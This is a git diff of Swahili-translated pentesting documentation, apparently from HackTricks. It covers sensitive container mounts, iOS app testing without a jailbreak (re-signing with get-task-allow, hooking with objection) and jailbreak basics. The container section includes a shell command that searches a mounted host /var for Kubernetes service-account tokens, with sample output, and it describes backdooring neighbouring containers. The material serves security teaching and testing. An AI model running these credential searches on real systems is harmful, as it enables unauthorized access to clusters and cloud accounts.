#### **`/sys/kernel/security`**
|
||||
|
||||
- Ina nyumba ya kiolesura cha `securityfs`, kinachoruhusu usanidi wa Moduli za Usalama za Linux kama AppArmor.
|
||||
- Ufikiaji unaweza kuwezesha kontena kuzima mfumo wake wa MAC.
|
||||
- Inashikilia kiolesura cha `securityfs`, kinachoruhusu usanidi wa Moduli za Usalama za Linux kama AppArmor.
|
||||
- Upatikanaji unaweza kuwezesha kontena kuzima mfumo wake wa MAC.
|
||||
|
||||
#### **`/sys/firmware/efi/vars` na `/sys/firmware/efi/efivars`**
|
||||
|
||||
- Inafichua violesura vya kuingiliana na mabadiliko ya EFI katika NVRAM.
|
||||
- Mipangilio isiyo sahihi au ukatili inaweza kusababisha kompyuta zisizoweza kuanzishwa au kuharibiwa.
|
||||
- Usanidi mbaya au ukatili unaweza kusababisha kompyuta za mkononi zisizoweza kuanzishwa au mashine za mwenyeji zisizoweza kuanzishwa.
|
||||
|
||||
#### **`/sys/kernel/debug`**
|
||||
|
||||
- `debugfs` inatoa kiolesura cha "hakuna sheria" kwa ufuatiliaji wa kernel.
|
||||
- Historia ya matatizo ya usalama kutokana na asili yake isiyo na mipaka.
|
||||
- `debugfs` inatoa kiolesura cha ufuatiliaji "bila sheria" kwa kernel.
|
||||
- Historia ya masuala ya usalama kutokana na asili yake isiyo na mipaka.
|
||||
|
||||
### `/var` Vulnerabilities
|
||||
### Udhihirisho wa `/var`
|
||||
|
||||
Folda ya mwenyeji **/var** ina sockets za wakati wa kontena na mifumo ya faili ya kontena.
|
||||
Ikiwa folda hii imeunganishwa ndani ya kontena, kontena hiyo itapata ufikiaji wa kuandika na kusoma kwenye mifumo ya faili ya kontena nyingine
|
||||
ikiwa na haki za root. Hii inaweza kutumika vibaya kuhamasisha kati ya kontena, kusababisha kukatizwa kwa huduma, au kuingiza nyuma kontena nyingine na programu zinazotumika ndani yao.
|
||||
Folda ya mwenyeji ya **/var** ina soketi za wakati wa kontena na mifumo ya faili ya kontena.
|
||||
Ikiwa folda hii imepandishwa ndani ya kontena, kontena hiyo itapata upatikanaji wa kusoma-kandika kwa mifumo ya faili ya kontena zingine
|
||||
ikiwa na haki za mzizi. Hii inaweza kutumika vibaya kuhamasisha kati ya kontena, kusababisha kukatizwa kwa huduma, au kuingiza nyuma kontena nyingine na programu zinazotumika ndani yao.
|
||||
|
||||
#### Kubernetes
|
||||
|
||||
@ -224,9 +236,9 @@ Kumbuka kwamba kontena HALIHITAJI kuanzishwa upya au chochote. Mabadiliko yoyote
|
||||
|
||||
Unaweza pia kubadilisha faili za usanidi, binaries, huduma, faili za programu, na profaili za shell ili kufikia RCE ya kiotomatiki (au ya nusu-kiotomatiki).
|
||||
|
||||
##### Ufikiaji wa akidi za wingu
|
||||
##### Ufikiaji wa hati za wingu
|
||||
|
||||
Kontena linaweza kusoma tokeni za K8s serviceaccount au tokeni za AWS webidentity ambazo zinamruhusu kontena kupata ufikiaji usioidhinishwa kwa K8s au wingu:
|
||||
Kontena linaweza kusoma tokens za K8s serviceaccount au tokens za AWS webidentity ambazo zinamruhusu kontena kupata ufikiaji usioidhinishwa kwa K8s au wingu:
|
||||
```bash
|
||||
/ # find /host-var/ -type f -iname '*token*' 2>/dev/null | grep kubernetes.io
|
||||
/host-var/lib/kubelet/pods/21411f19-934c-489e-aa2c-4906f278431e/volumes/kubernetes.io~projected/kube-api-access-64jw2/..2025_01_22_12_37_42.4197672587/token
|
||||
@ -237,8 +249,8 @@ Kontena linaweza kusoma tokeni za K8s serviceaccount au tokeni za AWS webidentit
|
||||
```
|
||||
#### Docker
|
||||
|
||||
Ukatili katika Docker (au katika matumizi ya Docker Compose) ni sawa kabisa, isipokuwa kwamba kawaida
|
||||
faili za mifumo ya faili ya kontena nyingine zinapatikana chini ya njia tofauti:
|
||||
Ushirikiano katika Docker (au katika matumizi ya Docker Compose) ni sawa kabisa, isipokuwa kwamba kawaida
|
||||
faili za mifumo ya faili ya kontena nyingine zinapatikana chini ya njia tofauti ya msingi:
|
||||
```bash
|
||||
$ docker info | grep -i 'docker root\|storage driver'
|
||||
Storage Driver: overlay2
|
||||
|
@ -0,0 +1,74 @@
|
||||
# iOS Pentesting without Jailbreak
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Wazo Kuu
|
||||
|
||||
Programu zilizosainiwa na **entitlement `get_task_allow`** zinawaruhusu programu za upande wa tatu kuendesha kazi inayoitwa **`task_for_pid()`** na kitambulisho cha mchakato wa programu ya awali kama hoja ili kupata bandari ya kazi juu yake (kuwa na uwezo wa kuidhibiti na kufikia kumbukumbu yake).
|
||||
|
||||
Hata hivyo, si rahisi kama tu kuvuta IPA, kuisaini tena na entitlement, na kuirudisha kwenye kifaa chako. Hii ni kwa sababu ya ulinzi wa FairPlay. Wakati saini ya programu inabadilika, funguo za DRM (Usimamizi wa Haki za Kidijitali) **zinabatilishwa na programu haitafanya kazi**.
|
||||
|
||||
Kwa kifaa cha zamani kilichovunjwa, inawezekana kufunga IPA, **kuifungua kwa kutumia chombo unachokipenda** (kama Iridium au frida-ios-dump), na kuirudisha kutoka kwenye kifaa. Ingawa, ikiwa inawezekana, inapendekezwa kuomba tu kwa mteja kwa IPA iliyofunguliwa.
|
||||
|
||||
|
||||
## Pata IPA iliyofunguliwa
|
||||
|
||||
### Pata kutoka Apple
|
||||
|
||||
1. Funga programu ya kupima kwenye iPhone
|
||||
2. Funga na uzindue [Apple Configurator](https://apps.apple.com/au/app/apple-configurator/id1037126344?mt=12) ndani ya macos yako
|
||||
3. Fungua `Terminal` kwenye Mac yako, na cd hadi `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps`. IPA itaonekana katika folda hii baadaye.
|
||||
4. Unapaswa kuona kifaa chako cha iOS. Bonyeza mara mbili juu yake, kisha bonyeza Ongeza + → Programu kutoka kwenye menyu ya juu.
|
||||
5. Baada ya kubonyeza Ongeza, Configurator itashusha IPA kutoka Apple, na kujaribu kuisukuma kwenye kifaa chako. Ikiwa ulifuata mapendekezo yangu awali na kufunga IPA tayari, ujumbe wa kukuuliza ufungue tena programu utaonekana.
|
||||
6. IPA inapaswa kushushwa ndani ya `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps` ambapo unaweza kuichukua
|
||||
|
||||
Angalia [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed) kwa maelezo zaidi kuhusu mchakato huu.
|
||||
|
||||
|
||||
### Kufungua programu
|
||||
|
||||
Ili kufungua IPA tunakwenda kuifunga. Hata hivyo, ikiwa una iPhone ya zamani iliyovunjwa, huenda toleo lake halitaungwa mkono na programu kwani kawaida programu zinasaidia tu matoleo ya hivi karibuni.
|
||||
|
||||
Hivyo, ili kuifunga, fungua tu IPA:
|
||||
```bash
|
||||
unzip redacted.ipa -d unzipped
|
||||
```
|
||||
Angalia `Info.plist` kwa toleo la chini linaloungwa mkono na ikiwa kifaa chako ni cha zamani zaidi ya hicho, badilisha thamani ili iweze kuungwa mkono.
|
||||
|
||||
Zipisha tena IPA:
|
||||
```bash
|
||||
cd unzipped
|
||||
zip -r ../no-min-version.ipa *
|
||||
```
|
||||
Kisha, sakinisha IPA kwa mfano na:
|
||||
```bash
|
||||
ideviceinstaller -i no-min-version.ipa -w
|
||||
```
|
||||
Kumbuka kwamba unaweza kuhitaji **AppSync Unified tweak** kutoka Cydia ili kuzuia makosa yoyote ya `invalid signature`.
|
||||
|
||||
Mara tu inapowekwa, unaweza kutumia **Iridium tweak** kutoka Cydia ili kupata IPA iliyotafsiriwa.
|
||||
|
||||
### Patch entitlements & re-sign
|
||||
|
||||
Ili kusaini upya programu na `get-task-allow` entitlement kuna zana kadhaa zinazopatikana kama `app-signer`, `codesign`, na `iResign`. `app-signer` ina kiolesura rafiki cha mtumiaji ambacho kinaruhusu kusaini kwa urahisi faili ya IPA kwa kuashiria IPA ya kusaini upya, kuweka **`get-taks-allow`** na cheti na profaili ya usambazaji ya kutumia.
|
||||
|
||||
Kuhusu vyeti na profaili za kusaini, Apple inatoa **profaili za kusaini za watengenezaji bure** kwa akaunti zote kupitia Xcode. Unda tu programu na uipange. Kisha, panga **iPhone kuamini programu za watengenezaji** kwa kuenda kwenye `Settings` → `Privacy & Security`, na bonyeza kwenye `Developer Mode`.
|
||||
|
||||
Kwa IPA iliyosainiwa upya, ni wakati wa kuisakinisha kwenye kifaa ili kuifanya pentest:
|
||||
```bash
|
||||
ideviceinstaller -i resigned.ipa -w
|
||||
```
|
||||
### Hook
|
||||
|
||||
Unaweza kwa urahisi kuunganisha programu yako kwa kutumia zana za kawaida kama frida na objection:
|
||||
```bash
|
||||
objection -g [your app bundle ID] explore
|
||||
|
||||
```
|
||||
## Marejeo
|
||||
|
||||
- [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -6,12 +6,12 @@
|
||||
|
||||
A **provisioning identity** ni mkusanyiko wa funguo za umma na za kibinafsi ambazo zinahusishwa na akaunti ya mdevelopa wa Apple. Ili **kusaini programu** unahitaji kulipa **99$/mwaka** ili kujiandikisha katika **Apple Developer Program** kupata kitambulisho chako cha usambazaji. Bila hii huwezi kuendesha programu kutoka kwa msimbo wa chanzo kwenye kifaa halisi. Chaguo lingine la kufanya hivi ni kutumia **kifaa kilichovunjwa**.
|
||||
|
||||
Kuanzia Xcode 7.2 Apple imeweka chaguo la kuunda **profaili ya usambazaji ya maendeleo ya iOS bure** inayoruhusu kuandika na kujaribu programu yako kwenye iPhone halisi. Nenda kwenye _Xcode_ --> _Preferences_ --> _Accounts_ --> _+_ (Ongeza ID mpya ya Appli na akcredentials zako) --> _Bonyeza kwenye Apple ID iliyoundwa_ --> _Manage Certificates_ --> _+_ (Maendeleo ya Apple) --> _Done_\
|
||||
\_\_Kisha, ili kuendesha programu yako kwenye iPhone yako unahitaji kwanza **kuonyesha iPhone kuamini kompyuta.** Kisha, unaweza kujaribu **kuendesha programu kwenye simu kutoka Xcode,** lakini hitilafu itaonekana. Hivyo nenda kwenye _Settings_ --> _General_ --> _Profiles and Device Management_ --> Chagua profaili isiyoaminika na bonyeza "**Amini**".
|
||||
Kuanzia Xcode 7.2 Apple imetoa chaguo la kuunda **profaili ya usambazaji ya maendeleo ya iOS bure** inayoruhusu kuandika na kujaribu programu yako kwenye iPhone halisi. Nenda kwenye _Xcode_ --> _Preferences_ --> _Accounts_ --> _+_ (Ongeza ID mpya ya Appli na akiba zako) --> _Bonyeza kwenye Apple ID iliyoundwa_ --> _Manage Certificates_ --> _+_ (Maendeleo ya Apple) --> _Done_\
|
||||
\_\_Kisha, ili kuendesha programu yako kwenye iPhone yako unahitaji kwanza **kuonyesha iPhone kuamini kompyuta.** Kisha, unaweza kujaribu **kuendesha programu kwenye simu kutoka Xcode,** lakini hitilafu itatokea. Hivyo nenda kwenye _Settings_ --> _General_ --> _Profiles and Device Management_ --> Chagua profaili isiyoaminika na bonyeza "**Trust**".
|
||||
|
||||
Kumbuka kwamba **programu zilizotiwa saini na cheti sawa za saini zinaweza kushiriki rasilimali kwa njia salama, kama vitu vya keychain**.
|
||||
Kumbuka kwamba **programu zilizotiwa saini na cheti sawa za kusaini zinaweza kushiriki rasilimali kwa njia salama, kama vitu vya keychain**.
|
||||
|
||||
Profaili za usambazaji zimehifadhiwa ndani ya simu katika **`/Library/MobileDevice/ProvisioningProfiles`**
|
||||
Profaili za usambazaji zinahifadhiwa ndani ya simu katika **`/Library/MobileDevice/ProvisioningProfiles`**
|
||||
|
||||
## **Simulator**
|
||||
|
||||
@ -20,11 +20,11 @@ Profaili za usambazaji zimehifadhiwa ndani ya simu katika **`/Library/MobileDevi
|
||||
|
||||
### **Simulator**
|
||||
|
||||
Jambo la kwanza unahitaji kujua ni kwamba **kutekeleza pentest ndani ya simulator kutakuwa na mipaka zaidi kuliko kufanya hivyo kwenye kifaa kilichovunjwa**.
|
||||
Jambo la kwanza unahitaji kujua ni kwamba **kufanya pentest ndani ya simulator kutakuwa na mipaka zaidi kuliko kufanya hivyo kwenye kifaa kilichovunjwa**.
|
||||
|
||||
Zana zote zinazohitajika kujenga na kusaidia programu ya iOS zina **tu zinasupport rasmi kwenye Mac OS**.\
|
||||
Zana ya de facto ya Apple kwa kuunda/kukarabati/kufanya kazi za iOS ni **Xcode**. Inaweza kutumika kupakua vipengele vingine kama **simulators** na **SDK** **toleo** tofauti zinazohitajika kujenga na **kujaribu** programu yako.\
|
||||
Inapendekezwa sana **kupakua** Xcode kutoka kwenye **duka rasmi la programu**. Toleo lingine linaweza kubeba malware.
|
||||
Zana zote zinazohitajika kujenga na kusaidia programu ya iOS zinasaidiwa rasmi tu kwenye Mac OS.\
|
||||
Zana ya de facto ya Apple kwa kuunda/kukarabati/kupima programu za iOS ni **Xcode**. Inaweza kutumika kupakua vipengele vingine kama **simulators** na **SDK** **toleo** tofauti zinazohitajika kujenga na **kujaribu** programu yako.\
|
||||
Inapendekezwa sana **kupakua** Xcode kutoka kwenye **duka rasmi la programu**. Toleo lingine linaweza kuwa na malware.
|
||||
|
||||
Faili za simulator zinaweza kupatikana katika `/Users/<username>/Library/Developer/CoreSimulator/Devices`
|
||||
|
||||
@ -37,7 +37,7 @@ Ili kufungua simulator, endesha Xcode, kisha bonyeza kwenye _Xcode tab_ --> _Ope
|
||||
|
||||
### Applications in the Simulator
|
||||
|
||||
Ndani ya `/Users/<username>/Library/Developer/CoreSimulator/Devices` unaweza kupata **simulators zote zilizowekwa**. Ikiwa unataka kufikia faili za programu iliyoundwa ndani ya moja ya emulators inaweza kuwa vigumu kujua **katika ipi programu imewekwa**. Njia ya haraka ya **kupata UID sahihi** ni kutekeleza programu kwenye simulator na kutekeleza:
|
||||
Ndani ya `/Users/<username>/Library/Developer/CoreSimulator/Devices` unaweza kupata **simulators zote zilizowekwa**. Ikiwa unataka kufikia faili za programu iliyoundwa ndani ya moja ya emulators inaweza kuwa ngumu kujua **katika ipi programu imewekwa**. Njia ya haraka ya **kupata UID sahihi** ni kutekeleza programu kwenye simulator na kutekeleza:
|
||||
```bash
|
||||
xcrun simctl list | grep Booted
|
||||
iPhone 8 (BF5DA4F8-6BBE-4EA0-BA16-7E3AFD16C06C) (Booted)
|
||||
@ -54,33 +54,37 @@ Corellium ndiyo emulator pekee ya iOS inayopatikana hadharani. Ni suluhisho la S
|
||||
|
||||
## Hakuna Jailbreak inayohitajika
|
||||
|
||||
Angalia chapisho hili la blog kuhusu jinsi ya pentest programu ya iOS katika **kifaa kisichokuwa na jailbroken**: [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed)
|
||||
Angalia chapisho hili la blog kuhusu jinsi ya pentest programu ya iOS katika **kifaa kisichokuwa na jailbroken**:
|
||||
|
||||
{{#ref}}
|
||||
ios-pentesting-without-jailbreak.md
|
||||
{{#endref}}
|
||||
|
||||
## Jailbreaking
|
||||
|
||||
Apple inahitaji kwa nguvu kwamba msimbo unaotumika kwenye iPhone lazima uwe **umetiwa saini na cheti kilichotolewa na Apple**. **Jailbreaking** ni mchakato wa kukwepa **vizuizi kama hivyo** na udhibiti mwingine wa usalama uliowekwa na OS. Hivyo, mara kifaa kinapokuwa kimejailbreak, **ukaguzi wa uadilifu** ambao unawajibika kwa kuangalia programu zinazowekwa unarekebishwa ili **upitishwe**.
|
||||
Apple inahitaji kwa nguvu kwamba msimbo unaotumika kwenye iPhone lazima uwe **umetiwa saini na cheti kilichotolewa na Apple**. **Jailbreaking** ni mchakato wa **kuzidi vizuizi** na udhibiti mwingine wa usalama uliowekwa na OS. Hivyo, mara kifaa kinapokuwa kimejailbreak, **ukaguzi wa uadilifu** ambao unawajibika kwa kuangalia programu zinazowekwa unarekebishwa ili **upitishwe**.
|
||||
|
||||
> [!NOTE]
|
||||
> Tofauti na Android, **huwezi kubadilisha kuwa "Mode ya Developer"** katika iOS ili kuendesha msimbo usio na saini/usioaminika kwenye kifaa.
|
||||
|
||||
### Android Rooting vs. iOS Jailbreaking
|
||||
|
||||
Ingawa mara nyingi hufananishwa, **rooting** kwenye Android na **jailbreaking** kwenye iOS ni michakato tofauti kimsingi. Rooting vifaa vya Android inaweza kujumuisha **kufunga `su` binary** au **kurekebisha mfumo kwa ROM iliyoshikiliwa**, ambayo haihitaji lazima matumizi ya exploit ikiwa bootloader imefunguliwa. **Kuflash ROM za kawaida** kunabadilisha OS ya kifaa baada ya kufungua bootloader, wakati mwingine kunahitaji exploit.
|
||||
Ingawa mara nyingi hufananishwa, **rooting** kwenye Android na **jailbreaking** kwenye iOS ni michakato tofauti kimsingi. Rooting vifaa vya Android inaweza kujumuisha **kufunga `su` binary** au **kurekebisha mfumo kwa ROM iliyoshikiliwa**, ambayo haihitaji lazima matumizi ya exploits ikiwa bootloader imefunguliwa. **Kuflash ROM za kawaida** kunabadilisha OS ya kifaa baada ya kufungua bootloader, wakati mwingine kunahitaji exploit.
|
||||
|
||||
Kwa upande mwingine, vifaa vya iOS haviwezi kuflash ROM za kawaida kutokana na vizuizi vya bootloader vya kuanzisha picha zilizotiwa saini na Apple pekee. **Jailbreaking iOS** inalenga kukwepa ulinzi wa saini wa msimbo wa Apple ili kuendesha msimbo usio na saini, mchakato ambao unachanganya na maboresho ya usalama ya Apple yanayoendelea.
|
||||
Kwa upande mwingine, vifaa vya iOS haviwezi kuflash ROM za kawaida kutokana na vizuizi vya bootloader vya kuanzisha picha zilizotiwa saini na Apple pekee. **Jailbreaking iOS** inalenga kupita ulinzi wa saini za msimbo wa Apple ili kuendesha msimbo usio na saini, mchakato ambao unachanganya na maboresho ya usalama ya Apple yanayoendelea.
|
||||
|
||||
### Changamoto za Jailbreaking
|
||||
|
||||
Jailbreaking iOS inakuwa ngumu zaidi kadri Apple inavyorekebisha udhaifu haraka. **Kudondosha iOS** kunawezekana tu kwa muda mfupi baada ya kutolewa, na kufanya jailbreaking kuwa suala la muda. Vifaa vinavyotumika kwa majaribio ya usalama havipaswi kusasishwa isipokuwa re-jailbreaking inahakikishwa.
|
||||
|
||||
Sasisho za iOS zinadhibitiwa na **mekanismu ya changamoto-jibu** (SHSH blobs), ikiruhusu usakinishaji tu kwa majibu yaliyotiwa saini na Apple. Mekanismu hii, inayojulikana kama "dirisha la saini", inapunguza uwezo wa kuhifadhi na kutumia baadaye vifurushi vya firmware vya OTA. Tovuti ya [IPSW Downloads](https://ipsw.me) ni rasilimali ya kuangalia dirisha za sasa za saini.
|
||||
Sasisho za iOS zinadhibitiwa na **mekanismu ya changamoto-jibu** (SHSH blobs), ikiruhusu usakinishaji tu kwa majibu yaliyotiwa saini na Apple. Mekanismu hii, inayojulikana kama "dirisha la saini", inakabili uwezo wa kuhifadhi na kutumia baadaye vifurushi vya firmware vya OTA. Tovuti ya [IPSW Downloads](https://ipsw.me) ni rasilimali ya kuangalia dirisha za sasa za saini.
|
||||
|
||||
### Aina za Jailbreak
|
||||
|
||||
- **Jailbreak za tethered** zinahitaji muunganisho wa kompyuta kwa kila upya.
|
||||
- **Jailbreak za semi-tethered** zinaruhusu kuanzisha katika hali isiyo na jailbroken bila kompyuta.
|
||||
- **Jailbreak za semi-untethered** zinahitaji re-jailbreaking ya mikono bila kuhitaji kompyuta.
|
||||
- **Jailbreak za untethered** zinatoa suluhisho la kudumu la jailbreak bila haja ya kuomba tena.
|
||||
- **Jailbreak za Tethered** zinahitaji muunganisho wa kompyuta kwa kila upya.
|
||||
- **Jailbreak za Semi-tethered** zinaruhusu kuanzisha katika hali isiyo na jailbroken bila kompyuta.
|
||||
- **Jailbreak za Semi-untethered** zinahitaji re-jailbreaking kwa mikono bila kuhitaji kompyuta.
|
||||
- **Jailbreak za Untethered** zinatoa suluhisho la kudumu la jailbreak bila haja ya kuomba tena.
|
||||
|
||||
### Zana na Rasilimali za Jailbreaking
|
||||
|
||||
@ -94,7 +98,7 @@ Kurekebisha kifaa chako kuna hatari, na jailbreaking inapaswa kuchukuliwa kwa ta
|
||||
|
||||
### Manufaa na Hatari za Jailbreaking
|
||||
|
||||
Jailbreaking **inondoa sandboxing iliyowekwa na OS**, ikiruhusu programu kufikia mfumo mzima wa faili. Uhuru huu unaruhusu usakinishaji wa programu zisizothibitishwa na ufikiaji wa APIs zaidi. Hata hivyo, kwa watumiaji wa kawaida, jailbreaking **haitashauriwa** kutokana na hatari za usalama na kutokuwa thabiti kwa kifaa.
|
||||
Jailbreaking **inondoa sanduku la usalama lililowekwa na OS**, ikiruhusu programu kufikia mfumo wa faili mzima. Uhuru huu unaruhusu usakinishaji wa programu zisizothibitishwa na ufikiaji wa APIs zaidi. Hata hivyo, kwa watumiaji wa kawaida, jailbreaking **haitashauriwa** kutokana na hatari za usalama na kutokuwa na utulivu kwa kifaa.
|
||||
|
||||
### **Baada ya Jailbreaking**
|
||||
|
||||
@ -104,13 +108,13 @@ basic-ios-testing-operations.md
|
||||
|
||||
### **Ufuatiliaji wa Jailbreak**
|
||||
|
||||
**Programu kadhaa zitajaribu kugundua ikiwa simu imejailbroken na katika hali hiyo programu haitafanya kazi**
|
||||
**Programu kadhaa zitajaribu kugundua ikiwa simu imejailbroken na katika kesi hiyo programu haitafanya kazi**
|
||||
|
||||
- Baada ya jailbreaking iOS **faili na folda kwa kawaida huwekwa**, hizi zinaweza kutafutwa ili kubaini ikiwa kifaa kimejailbroken.
|
||||
- Katika kifaa kilichojailbreak programu zinapata **ufikiaji wa kusoma/kandika kwa faili mpya** nje ya sandbox
|
||||
- Katika kifaa kilichojailbreak programu zinapata **ufikiaji wa kusoma/kandika kwa faili mpya** nje ya sanduku la usalama
|
||||
- Baadhi ya **API** **itoaji** zitakuwa **na tabia tofauti**
|
||||
- Uwepo wa huduma ya **OpenSSH**
|
||||
- Kuita `/bin/sh` itarudisha **1** badala ya 0
|
||||
- Kuita `/bin/sh` kutarudisha **1** badala ya 0
|
||||
|
||||
**Taarifa zaidi kuhusu jinsi ya kugundua jailbreaking** [**hapa**](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/jailbreak-detection-methods/)**.**
|
||||
|
||||
|
Loading…
x
Reference in New Issue
Block a user